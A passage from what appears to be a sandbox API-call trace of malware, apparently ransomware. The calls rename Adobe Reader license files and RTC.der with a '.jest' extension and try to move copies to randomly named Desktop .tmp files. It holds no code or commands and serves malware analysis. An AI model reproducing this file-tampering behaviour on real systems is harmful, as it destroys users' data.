10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html.jest")) returned 1 [0156.281] GetLastError () returned 0x0 [0156.282] VarBstrFromR4 (in: fltIn=0x479452fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.97") returned 0x0 [0156.283] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pd W9i8IWwYWA9LsP7PjbNBv-Fr-UyeeLQzw94HthfEJc5i8Z_Gt4GX0pg nndljIJIWIlT_lAUzCCq5Ch4hnuaeUH0Fm-S2Rb0o.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pd w9i8iwwywa9lsp7pjbnbv-fr-uyeelqzw94hthfejc5i8z_gt4gx0pg nndljijiwilt_lauzccq5ch4hnuaeuh0fm-s2rb0o.tmp")) returned 0 [0156.283] GetLastError () returned 0x2 [0156.283] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.284] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.284] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.284] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.284] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.284] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html.jest")) returned 1 [0156.285] GetLastError () returned 0x0 [0156.285] VarBstrFromR4 (in: fltIn=0x479452fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.97") returned 0x0 [0156.286] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8ihMJhP5Zr725Ud_iMGmGRfV9d0dLGELILXVQAtR_mUefFXzEgmlJUU _cv6EE-uwPVej01zbyuRqKwjlelHKUOErp7Hka8gIq-J.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8ihmjhp5zr725ud_imgmgrfv9d0dlgelilxvqatr_mueffxzegmljuu _cv6ee-uwpvej01zbyurqkwjlelhkuoerp7hka8giq-j.tmp")) returned 0 [0156.287] GetLastError () returned 0x2 [0156.287] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.287] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.287] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.287] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.287] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.288] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html.jest")) returned 1 [0156.289] GetLastError () returned 0x0 [0156.289] VarBstrFromR4 (in: fltIn=0x479452fc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.97") returned 0x0 [0156.290] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wkLR5HpCM k8BV9evF142v5vAx8gFpLtpNKPN 9qTsOeDCj_6CVUxW5EphAIO6AzaMq2v8EIq6BBpPkgMEKriIAIAj3OM-e xouT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wklr5hpcm k8bv9evf142v5vax8gfpltpnkpn 9qtsoedcj_6cvuxw5ephaio6azamq2v8eiq6bbppkgmekriiaiaj3om-e xout.tmp")) returned 0 [0156.290] GetLastError () returned 0x2 [0156.291] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.291] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.291] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.291] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.291] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.291] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html.jest")) returned 1 [0156.292] GetLastError () returned 0x0 [0156.293] VarBstrFromR4 (in: fltIn=0x479452fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.98") returned 0x0 [0156.294] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jkIUPptGcd4JO0w2qrQqk1ip5TKfa8ut0LSOlOoRD7ypPBtWPQ_2gvqHQKAhyuEAKz _BNCur5Q 23yUnqrjKcua7lg0q13CegNq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jkiupptgcd4jo0w2qrqqk1ip5tkfa8ut0lsoloord7yppbtwpq_2gvqhqkahyueakz _bncur5q 23yunqrjkcua7lg0q13cegnq.tmp")) returned 0 [0156.294] GetLastError () returned 0x2 [0156.294] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.294] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.295] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.295] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.295] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.295] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html.jest")) returned 1 [0156.296] GetLastError () returned 0x0 [0156.296] VarBstrFromR4 (in: fltIn=0x479452fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.98") returned 0x0 [0156.297] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Fp3NYDH0vdpFXHg5aL1m As9is9ldq WyXvUn3Ec9GDSh IDj3GQWumTpRN1swCCMsQ02C3raKjgN vMbaUfUPrjqT8QMRWh70.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-fp3nydh0vdpfxhg5al1m as9is9ldq wyxvun3ec9gdsh idj3gqwumtprn1swccmsq02c3rakjgn vmbaufuprjqt8qmrwh70.tmp")) returned 0 [0156.297] GetLastError () returned 0x2 [0156.298] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.298] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.298] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.298] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.298] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.299] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html.jest")) returned 1 [0156.300] GetLastError () returned 0x0 [0156.300] VarBstrFromR4 (in: fltIn=0x479452fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.98") returned 0x0 [0156.301] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MWC4iPgHR8oVcceGbdOUl1vBfS-whlu-YSd5Ufg9H28Ke6vtcvbfBs8Vs6IKcZdZumNRx-azfKFG3rRu43a6BfwQ9RCGIIKAQuhYq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mwc4ipghr8ovccegbdoul1vbfs-whlu-ysd5ufg9h28ke6vtcvbfbs8vs6ikczdzumnrx-azfkfg3rru43a6bfwq9rcgiikaquhyq.tmp")) returned 0 [0156.301] GetLastError () returned 0x2 [0156.302] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.302] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.302] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.302] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.302] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.302] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html.jest")) returned 1 [0156.303] GetLastError () returned 0x0 [0156.303] VarBstrFromR4 (in: fltIn=0x479452fe, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75941.98") returned 0x0 [0156.305] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dhSp1pgDWibnDhPW7NiTUUPgnOMdH4ZpzV8bYMIKzr_cUEFB6dw7q1TiJLlPH__HpUnmPh3PlsGhYKlY2cbnAna6lPub96CoTc8D-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhsp1pgdwibndhpw7nituupgnomdh4zpzv8bymikzr_cuefb6dw7q1tijllph__hpunmph3plsghykly2cbnana6lpub96cotc8d-.tmp")) returned 0 [0156.313] GetLastError () returned 0x2 [0156.315] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.315] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.315] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.315] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.315] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.315] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html.jest")) returned 1 [0156.316] GetLastError () returned 0x0 [0156.317] VarBstrFromR4 (in: fltIn=0x47945300, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942") returned 0x0 [0156.318] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\82m-2FC8v0utOENphsgTSb3OZanZ6m Fbht6GewaRUdHoiyz10NxHDg3ORWN3ehO3LHVptA0SwwbJEJF8AgikEiEyCY5mCFtMXP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\82m-2fc8v0utoenphsgtsb3ozanz6m fbht6gewarudhoiyz10nxhdg3orwn3eho3lhvpta0swwbjejf8agikeieycy5mcftmxp.tmp")) returned 0 [0156.318] GetLastError () returned 0x2 [0156.318] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.319] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.319] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.319] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.319] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.319] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html.jest")) returned 1 [0156.320] GetLastError () returned 0x0 [0156.320] VarBstrFromR4 (in: fltIn=0x47945300, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942") returned 0x0 [0156.321] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DGi9ezpwCAZAV0SXk2b_09-YcYmJ5mgU2kY0WTVUROMRzL7OZrK3tDo5iQxsVyq_ylYzs4eQqpAd6EgMQAeVfV9Oc_gK_Bw0aYHG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dgi9ezpwcazav0sxk2b_09-ycymj5mgu2ky0wtvuromrzl7ozrk3tdo5iqxsvyq_ylyzs4eqqpad6egmqaevfv9oc_gk_bw0ayhg.tmp")) returned 0 [0156.322] GetLastError () returned 0x2 [0156.322] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.322] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.322] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.322] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.322] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.323] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html.jest")) returned 1 [0156.324] GetLastError () returned 0x0 [0156.324] VarBstrFromR4 (in: fltIn=0x47945302, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.02") returned 0x0 [0156.325] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HRV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hrv\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E5vnppJuw_diHrDFhE-l_eHk9hUeYlHNagc0Hf9uc6Vrm7YydXqBlImyhb5VmkAhMHdyMiii46A2dpUtiGeJRCuBtvhxrPXSI8 f.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e5vnppjuw_dihrdfhe-l_ehk9hueylhnagc0hf9uc6vrm7yydxqblimyhb5vmkahmhdymiii46a2dputigejrcubtvhxrpxsi8 f.tmp")) returned 0 [0156.325] GetLastError () returned 0x2 [0156.328] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.328] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.328] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.328] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.328] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.329] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der.jest")) returned 1 [0156.332] GetLastError () returned 0x0 [0156.333] VarBstrFromR4 (in: fltIn=0x47945302, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.02") returned 0x0 [0156.333] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6uUDsnp uPzTRL4KXYpxeMZPBh-dpYu40K3qF9L2lPYtE1uh5Lz3wBUEg8DM7ktczGDXsnsklTpLRuOz7taltHdJRfDJKhrz6IF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6uudsnp upztrl4kxypxemzpbh-dpyu40k3qf9l2lpyte1uh5lz3wbueg8dm7ktczgdxsnskltplruoz7talthdjrfdjkhrz6if.tmp")) returned 0 [0156.334] GetLastError () returned 0x2 [0156.335] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.335] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.335] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.335] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.335] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.335] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html.jest")) returned 1 [0156.336] GetLastError () returned 0x0 [0156.337] VarBstrFromR4 (in: fltIn=0x47945304, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.03") returned 0x0 [0156.337] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Oir 8CmrtCp4fYvKulrGkU wAWRLSR_oDACs6096_fF-1g3sLwVmIfyN64XKyumCzBy7vscctCay8WUnB99LYY4HBBDbUR_PtkEp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-oir 8cmrtcp4fyvkulrgku wawrlsr_odacs6096_ff-1g3slwvmifyn64xkyumczby7vscctcay8wunb99lyy4hbbdbur_ptkep.tmp")) returned 0 [0156.338] GetLastError () returned 0x2 [0156.338] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.338] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.338] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.338] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.338] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.339] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html.jest")) returned 1 [0156.340] GetLastError () returned 0x0 [0156.341] VarBstrFromR4 (in: fltIn=0x47945304, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.03") returned 0x0 [0156.341] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ndLIHbXgZZ-glrYiH6 KPZHSNrvRxXkTloMh8rY9cej-tKmlsQ7698rq8CDzjeGwUlAzffry6 OkgC2FqIeJa-B28-3MpdImVSg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ndlihbxgzz-glryih6 kpzhsnrvrxxktlomh8ry9cej-tkmlsq7698rq8cdzjegwulazffry6 okgc2fqieja-b28-3mpdimvsg.tmp")) returned 0 [0156.342] GetLastError () returned 0x2 [0156.342] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.342] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.342] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.342] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.342] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.343] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html.jest")) returned 1 [0156.344] GetLastError () returned 0x0 [0156.344] VarBstrFromR4 (in: fltIn=0x47945304, 